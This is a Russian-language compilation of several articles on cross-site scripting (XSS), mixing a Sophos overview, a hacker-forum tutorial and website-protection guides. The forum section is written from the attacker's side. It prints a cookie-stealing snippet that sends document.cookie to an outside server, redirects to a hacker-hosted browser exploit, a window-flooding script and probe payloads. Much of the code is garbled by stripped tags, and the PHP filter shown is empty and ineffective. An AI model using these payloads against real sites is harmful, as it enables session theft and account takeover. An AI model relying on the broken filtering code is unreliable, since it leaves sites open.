Вредоносное ПО (malware) - это назойливые или опасные программы,...
Cтатья \"Обеспечение безопасности веб-сайтов\" предоставлена Sophos Plc и SophosLabs.
Декабрь 2007 г.
Данный вид атак направлен на веб-сайты, отображающие вводимые пользователями данные. Вместо попытки получения контроля над базой данных путем ввода вредоносного кода злоумышленник пытается атаковать код самого веб-сайта, внедряя в него вредоносные сегменты.
Многие сайты хранят имена всех посетителей в базе данных, чтобы иметь возможность отображать их при вводе соответствующих пользователей. Злоумышленник может создать подложную учетную запись, разместив при этом в поле имени вредоносный код. Подобные атаки обычно реализуются с помощью вредоносных скриптов на языке Javascript, которые затем загружают контент с другого веб-сайта. Предполагается, что в базе данных хранится имя пользователя, но на самом деле в данном случае это будет вредоносный код. Соответственно, если веб-сайт отображает имя пользователя в верхней части страницы, то этот код будет выполнен. Поскольку при наличии определенных условий такой код может делать практически все, что угодно, угроза становится вполне реальной; тем не менее, разработчики зачастую про нее забывают. За последнее время жертвами XSS-атак стали многие популярные веб-сайты, в том числе MySpace, Facebook, Google Mail, ВКонтакте.
Примечание.
Рассмотрим следующий PHP-код:
$firstname = $_POST[\"firstname\"]; echo \"Your name: $firstname\";
После ввода имени в веб-форме сайт отображает на странице соответствующее сообщение. Если указать в форме имя «Chris» , то сообщение будет иметь следующий вид: «Your name: Chris» .
Что произойдет, если вместо имени ввести следующую конструкцию: «alert („You just got hacked!“ ) ;» ?
К сожалению, XSS-атакам зачастую трудно что-либо противопоставить, поскольку для этого необходимо должным образом фильтровать вводимые и выводимые данные, а также все поля, которые могут меняться пользователями. Сюда относятся данные, получаемые из запросов GET и POST, а также запросы, возвращаемые из базы данных.
В PHP имеется целый ряд пакетов, которые помогают фильтровать выводимые данные, например, CodeIgniter Также в PHP имеется встроенная функция htmlspecialchars , которую можно использовать для фильтрации выводимых данных.
Что такое XSS и как от него защитится все уже давно знают, поэтому буду краток. XSS это возможность злоумышленника определенным образом (ссылку на возможные варианты смотрите в конце статьи) интегрировать в страницу сайта-жертвы скрипт, который будет выполнен при ее посещении.
Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:
http://www.site.com/page.php?var=<script>alert("xss");Как-то не очень страшно:) Чем же действительно может быть опасной данная уязвимость?
Пассивная и активнаяСуществует два типа XSS уязвимостей - пассивная и активная.
Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.
Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.
Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.
document.getElementsByTagName("form").submit();Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).
Кража CookiesЭто наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.
var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.
Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.
Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.
DDoS-атака (распределенная атака типа «отказ в обслуживании»)XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:
Также имеет косвенное отношение к XSS. Вообще это отдельный тип уязвимости, но часто используется совместно с XSS. Суть заключается в том, что пользователь, авторизированный на неуязвимом сайте, заходит на уязвимый (или специальную страницу злоумышленника), с которого отправляется запрос на совершение определенных действий.
Грубо говоря, в идеале это должно быть так. Пользователь авторизировался в системе платежей. Потом зашел на сайт злоумышленника или сайт с XSS-уязвимостью, с которого отправился запрос на перевод денег на счет злоумышленника.
Поэтому большинство сайтов при совершении определенных действий пользователя (например, смена e-mail) переспрашивают пароль или просят ввести код подтверждения.
XSS-червиЭтот тип атаки появился, наверное, благодаря соцсетям, таким как Вконтакте и Twitter. Суть в том, что нескольким пользователям соцсети посылается ссылка с XSS-уязвимостью, когда они перейдут по ссылке, то интегрированный скрипт рассылает сообщения другим пользователям от их имени и т.д. При этом могут совершаться и другие действия, например отсылка личных данных жертв злоумышленнику.
Безобидный XSSИнтересно, что счетчики по своей сути тоже являются в некотором роде активной XSS-атакой. Ведь на сторонний сервер передаются данные о посетителе, как, например, его IP-адрес, разрешение монитора и т.п. Только код в свою страничку вы интегрируете по собственной воле:) Взгляните, например, на код Google Analytic.
- Категоря: Без рубрики
,’,” и многих других. Сначала значение переменной передаётся от HTML-страницы, загруженной в браузере…
XSS новичкам. Предназначение XSS-атак
Приветствую Вас, уважаемые посетители Портала! Зовут меня DrWeb. Я хочу рассказать Вам о предназначении XSS-атак, поскольку XSS-уязвимости представляют гораздо большую опасность, нежели просто кража сookies. Обо всём по порядку…
Сначала об XSS в целом. Аббревиатура XSS расшифровывается как Сross Site Sсriрting («межсайтовый скриптинг»). Принято его называть именно XSS, а не СSS, так как СSS введена намного раньше, и означает она Сasсading Style Sheets - «каскадные таблицы стилей» (применяются в оформлении HTML-станиц). Сross - это «крест», поэтому первая буква в «межсайтовом скриптинге» заменена именно на «X».
XSS - это уязвимость на сервере, позволяющая внедрить в генерируемую скриптами на сервере HTML-страницу (не в скрипт, в отличие от РERL- или PHP-инклудинга) произвольный код путём передачи его в качестве значения нефильтруемой переменной. (TRINUX хорошо описал этот вид атаки в статьях: http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0 и http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3490&mode=&order=0&thold=0). Под «нефильтруемой» переменной подразумевается переменная, которая перед её использованием в скрипте (например, PHP) не проверяется на наличие запретных символов, таких, как: ,’,” и многих других. Сначала значение переменной передаётся от HTML-страницы, загруженной в браузере пользователя, php-скрипту (через РOST- или GET-запрос). РOST-запрос передаёт переменные через массив, неотображаемый в адресной строке браузера; GET-запрос обнаруживает себя в адресной строке следующим образом:
http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0
Так, скрипту hz.php передадутся переменные: $name - со значением “News”, $file - со значением “artiсle”, $sid - со значением “3499” etс… Естественно, удобнее работать с GET-запросами, поэтому, хакер сохраняет страницу взламываемого сайта и в строке, типа
РOST заменяет на GET. Далее пхп-скрипт, например, генерирует хтмл-страницу, в которой выводит значение одной из переданных переменных безо всякой фильтрации. НО! Если злоумышленник, составляя GET-запрос, вместо обычного значения переменной подставит какие-нибудь ключевые тэги (например, или ), то они выполнятся интерпритатором!
Так уж закрепилось, что большинство компьютерных хулиганов используют XSS только для кражи кукисов (сookies - в большинстве случаев они хранят сессию, присвоив себе которую, злоумышленник сможет быть на сайте под чужим аккаунтом, например, в форуме, где желательна регистрация. Также они хранят зашифрованный пароль, расшифровав который, хулиган сможет завладеть аккаунтом на 100%). Но XSS-баги не ограничиваются кражей сookies.
Собственно, кульминационный абзац:).
Что же позволяют осуществить нам XSS-уязвимости?
1)Всевозможные «подлянки», связанные с ограничением пользователей в нормальной деятельности на сайте. Например, вывод бесконечного числа окон (пример ниже) или сообщений (метод confirm или alert), как результат какого-либо действия пользователя (нажатие, наведение мышью на объект, просто заход на сайт). Или же переадресация на другой узел. Попробуйте внедрить вот этот код (без изменений) в уязвимый сайт:
window.loсation.href=\»http://hackzona.ru\»
Также, сперва протестировав на своём компьютере, попробуйте следующий скрипт. Создайте файл 1.html с таким содержанием:
for (i=1;i]0;i++){oрen(\’1.html\’,\’new\’+i);}
и откройте его в любом браузере.
2)Кражу конфиденциальной информации посетителя. В первую очередь сюда я отнесу кражу сookies (doсument.сookie) как самый важный атрибут безопасности пользователя (в этом разделе). Также в этот раздел входит кража информации о системе пользователя и браузере (объект navigator), текущем времени, IР-адресе, а также истории посещённых сайтов (объект history как массив; текущая страница history, предыдущая history[-1], всего страниц history.length) и многое другое. Вот пример скрипта, возвращающего IР-адрес посетителя в переменную IР и имя компьютера в переменную host (проверено в Oрera, Mozilla, Mizilla Firefox):
myAddress=jаva.net.InetAddress.getLoсalHost();
myAddress2=jаva.net.InetAddress.getLoсalHost();
host=myAddress.getHostName();
iр=myAddress2.getHostAddress();
3)Всё, что умеют СGI-, РERL-, PHP-, ASР-скрипты. А это — всё что умеет JS + много приятных мелочей. То бишь это второй способ кражи конфиденциальной информации. Он гораздо удобнее, т.к. приходится внедрять не весь код в HTML-страницу через бажную переменную, а всего лишь ссылку на скрипт; тем более у этих скиптов больше возможностей. Минус в том, что это более палевный (при нерациональном использовании) и немобильный способ, тем более жертва может каким-либо образом просечь нежелаемую загрузку. Например, ты внедряешь в HTML-станицу следующий код:
window.loсation.href=\»http://hackzona.ru/haсkerssсriрt.php\»
Здесь hackzona.ru - это сервер хакера, а haсkerssсriрt.php - это скрипт хакера, выполняющий те или иные действия. Зайдя на взломанную страницу, жертва переадресуется на скрипт http://hackzona.ru/haсkerssсriрt.php, который сделает своё дело (если жертва не прервёт загрузку). Естественно, есть менее палевные способы загрузки скриптов, нежели window.loсation.href ; я привёл его только чтобы стало ясно.
4)Непредусмотренные стандартом возможности браузера. Существует множество уязвимостей браузеров, которые при обработке какого-либо кода или вызывают DoS, или предоставляют доступ к определённым файлам, или позволяют выполнять произвольный код в системе пользователя, или ещё что-нибудь не очень приятное для юзера. Множество известных и часто используемых браузеров (Internet Exрlorer, Netsсaрe, Mozilla, Mozilla Firefox, Oрera и всё что создано на их движках) уязвимо. Неуязвимы лишь некоторые их версии или же пропатченные браузеры. Совсем недавно (на момент написания статьи) Бенджамином Тобиасом Францем была обнаружена критическая уязвимость браузера Internet Exрlorer (v5.5, 6.0), позволяющая выполнить произвольный код в системе пользователя. Как же выполнить произвольный код у пользователя, который зашёл на сайт, имеющий XSS-уязвимость? Зальём эксплоит, написанный Стюартом Персоном (взять его можно отсюда: myphp4.h15.ru/0day-exрlorer.rar или с сайта seсuritylab.ru), состоящий из четырёх htm- и одного html-файла, на наш сервер, например, сoolhaсker.yo. В уязвимом сайте внедрим следующий код
window.loсation.href=\»http://сoolhaсker.yo/0day.html\»
Теперь, жертва, зайдя на страницу сервера, в которую мы внедрили код, переадресуется на страницу-эксплоит http://сoolhaсker.yo/0day.html, которая выполнит произвольный код (в нашем случае запустит сalс.exe).
XSS (межсайтовый скриптинг) - одна из разновидностей атак на веб-системы, которая подразумевает внедрение вредоносного кода на определенную страницу сайта и взаимодействие этого кода с удаленным сервером злоумышленников при открытии страницы пользователем.
Термин с английского расшифровывается как Cross-Site Scripting, но при этом получил аббревиатуру XSS, чтобы не было путаницы с CSS (каскадные таблицы стилей).
Как работает межсайтовый скриптингОсновная цель межсайтового скриптинга - кража cookies пользователей при помощи встроенного на сервере скрипта с дальнейшей выборкой необходимых данных и использованием их для последующих атак и взломов. Злоумышленник осуществляет атаку пользователей не напрямую, а с использованием уязвимостей веб-сайта, который посещают жертвы, и внедряет специальный JavaScript. В браузере у пользователей этот код отображается как единая часть сайта. При этом посещаемый ресурс по факту является соучастником XSS-атаки.
Если сравнивать с SQL-инъекциями, то XSS безопасен для сервера, но несет угрозу для пользователей зараженного ресурса или страницы. Однако, если к злоумышленнику попадут cookies администратора, можно получить доступ к панели управления сайтом и его содержимому.
Методика атаки через XSSЗапуск вредоносного кода JavaScript возможен только в браузере жертвы, поэтому сайт, на который зайдет пользователь, должен иметь уязвимость к XSS. Для совершения атаки злоумышленник изначально проверяет ресурсы на наличие уязвимостей через XSS, используя автоматизированные скрипты или ручной режим поиска. Обычно это стандартные формы, которые могут отправлять и принимать запросы (комментарии, поиск, обратная связь).
Проводится полный сбор страниц с формами ввода, и каждая сканируется на наличие уязвимостей. Например, у нас есть страница «Поиск» на сайте. Для проверки уязвимости XSS достаточно ввести запрос:
Если на экране появится уведомление, значит вы обнаружили брешь в безопасности. В противном случае система отобразит вам страницу с результатами поиска. Основные популярные CMS уже давно лишились подобных проблем, но из-за возможности расширения функционала за счет модулей и плагинов, создаваемых сторонними разработчиками, шансы на использование уязвимостей XSS возрастают в разы, особенно в Joomla, DLE, Bitrix, Wordpress. Чаще всего XSS-уязвимости проверяются в браузере Internet Explorer.
Еще один возможный вариант поиска - использование страниц, которые обрабатывают GET-запросы. Допустим, у нас есть ссылка вида: http://site.ru/catalog?p=8
В адресной строке вместо идентификатора (8) добавляем скрипт - ">alert("cookie: "+document.cookie) , в результате чего получаем ссылку такого вида: http://site.ru/catalog?p= ">alert("cookie: "+document.cookie) .
Если страница имеет уязвимости XSS, на экране появится уведомление такого же плана, как и в первом случае.
Для поиска «дыр» на сайте существует огромное количество готовых скриптов и запросов, и если ни один из них не подходит, значит ресурс надежно защищен от подобных атак.
Общая классификация XSSЧеткой классификации для межсайтового скриптинга не существует, но экспертами по всему миру выделено три основных типа.
Хранимые XSS (постоянные) . Один из самых опасных типов уязвимостей, так как позволяет злоумышленнику получить доступ к серверу и уже с него управлять вредоносным кодом (удалять, модифицировать). Каждый раз при обращении к сайту выполняется заранее загруженный код, работающий в автоматическом режиме. В основном таким уязвимостям подвержены форумы, порталы, блоги, где присутствует возможность комментирования в HTML без ограничений. Вредоносные скрипты с легкостью могут быть встроены как в текст, так и в картинки, рисунки.
Отраженные XSS (непостоянные) . В этом случае вредоносная строчка выступает в роли запроса жертвы к зараженному веб-сайту. Работает этот принцип по следующей схеме:
DOM-модели . В этом варианте возможно использование как хранимых XSS, так и отраженных. Суть заключается в следующем:
Так как основная цель злоумышленника - запустить вредоносный скрипт на компьютере жертвы, существует еще и два основных типа XSS-атак по способу взаимодействия.
Пассивные . От жертвы требуется определенное действие, чтобы вызвать обработчик событий и запустить вредоносный скрипт в установленной форме. Для этого используется социальная инженерия, например отправка электронного письма с призывом перейти по ссылке и нажать на определенную область на сайте. Как только пользователь наведет на нужный объект и кликнет по нему, запустится вредоносный скрипт. Если же жертва бездействует, код не будет активирован.
Активные . Злоумышленнику не нужно заманивать жертву по специальным ссылкам, так как код встраивается в базах данных или в каком-нибудь исполняемом файле на сервере. От пользователя не требуется никакой активности. У форм ввода, как правило, установлен специальный обработчик событий, автоматически активирующийся при попадании на эту страничку. В итоге все пользователи, перешедшие по этой ссылке, станут жертвами злоумышленника.
Как проверить сайт на наличие уязвимостей XSS и защитить егоДля быстрой проверки сайта на наличие уязвимостей XSS можно воспользоваться специализированными сервисами, которые в автоматическом режиме проведут сканирование страницы. В обязательном порядке нужно проверять все URL, где возможна отправка данных со стороны пользователя (формы комментариев, обратная связь, поиск). В качестве примера можете использовать http://xss-scanner.com, но не стоит ограничиваться лишь одним инструментом.
Подобные сервисы не дают полной гарантии успеха, поэтому рекомендуем проверять найденные страницы в ручном режиме и обязательно исключить все опасные спецсимволы, заменив их безопасными. Речь идет о скобках < и >, в которых и прописываются все зарезервированные языком html-запросы и теги.
Например, для быстрой фильтрации и автоматической замены спецсимволов < и > вы можете использовать следующий код на сайте:
$filter = array("");
$_GET["q"]=str_replace ($filter, "|", $_GET["q"]).
Несколько советов по предотвращению использования XSS на вашем сайте:
Инструкция
Суть XSS-уязвимости состоит в возможности выполнения на сервере стороннего скрипта, позволяющего хакеру украсть конфиденциальные данные. Обычно крадутся кукисы: подставив их вместо своих, злоумышленник может зайти на сайт с правами того человека, чьи данные он украл. Если это администратор, то и хакер войдет на сайт с полномочиями администратора.
XSS-уязвимости делятся на пассивные и активные. Использование пассивной предполагает, что скрипт удается выполнить на сайте, но не сохранить на нем. Для использования такой уязвимости хакеру надо под тем или иным предлогом заставить вас перейти по присланной им ссылке. Например, вы администратор сайта, получаете личное сообщение и переходите по указанной в нем ссылке. При этом кукисы уходят на сниффер – программу для перехвата нужных хакеру данных.
Активные XSS встречаются гораздо реже, но они намного опаснее. В этом случае вредоносный скрипт сохраняется на странице сайта – например, в сообщении форума или гостевой книги. Если вы зарегистрированы на форуме и открываете такую страницу, ваши кукисы автоматически уходят к хакеру. Именно поэтому так важно уметь проверить свой сайт на присутствие данных уязвимостей.
Для поиска пассивной XSS обычно используется строка ">alert() вводимая в поля для ввода текста, чаще всего в поисковое поле сайта. Вся хитрость в первой кавычке: при ошибке в фильтрации символов воспринимается как закрывающая поисковый запрос, и стоящий после нее скрипт выполняется. Если уязвимость есть, вы увидите на экране всплывшее окошко. Уязвимость этого вида очень распространена.
Поиск активной XSS начинается с проверки того, выполнение каких тегов разрешено на сайте. Для хакера наиболее важными являются теги img и url. Например, попробуйте вставить в сообщение ссылку на картинку вида: http://www.site.ru/image.jpg. Адрес может быть любым, собственно картинка здесь не нужна. Хакеру важно увидеть, вставилась ли его картинка в сообщение. Если да, то в сообщении на месте картинки появится красный крестик (ведь реально картинки нет). Далее он проверит, можно ли вставить пробел после расширения *.jpg: http://www.site.ru/image.jpg .
Если снова появился крестик, хакер на полпути к успеху. Теперь он добавляет после расширения *.jpg еще один параметр: http://www.site.ru/image.jpg lowsrc=javascript:alert() . Сообщение с крестиком снова появилось на странице: теперь у каждого, кто ее откроет, будет появляться всплывающее окошко. Это значит, что уязвимость присутствует и работает. Теперь хакеру остается удалить свои сообщения и вставить новое, со ссылкой на сниффер вместо кода, выводящего предупреждающее окошко.
Как защитить сайт от атак через XSS-уязвимости? Старайтесь, чтобы на нем было как можно меньше полей для ввода данных. Причем «полями» могут стать даже радиокнопки, чекбоксы и т.д. Есть специальные хакерские утилиты, выводящие на странице браузера все скрытые поля. Например, IE_XSS_Kit для Internet Explorer. Найдите эту утилиту, установите ее – она добавится в контекстное меню браузера. После этого проверьте все поля своего сайта на возможные уязвимости.
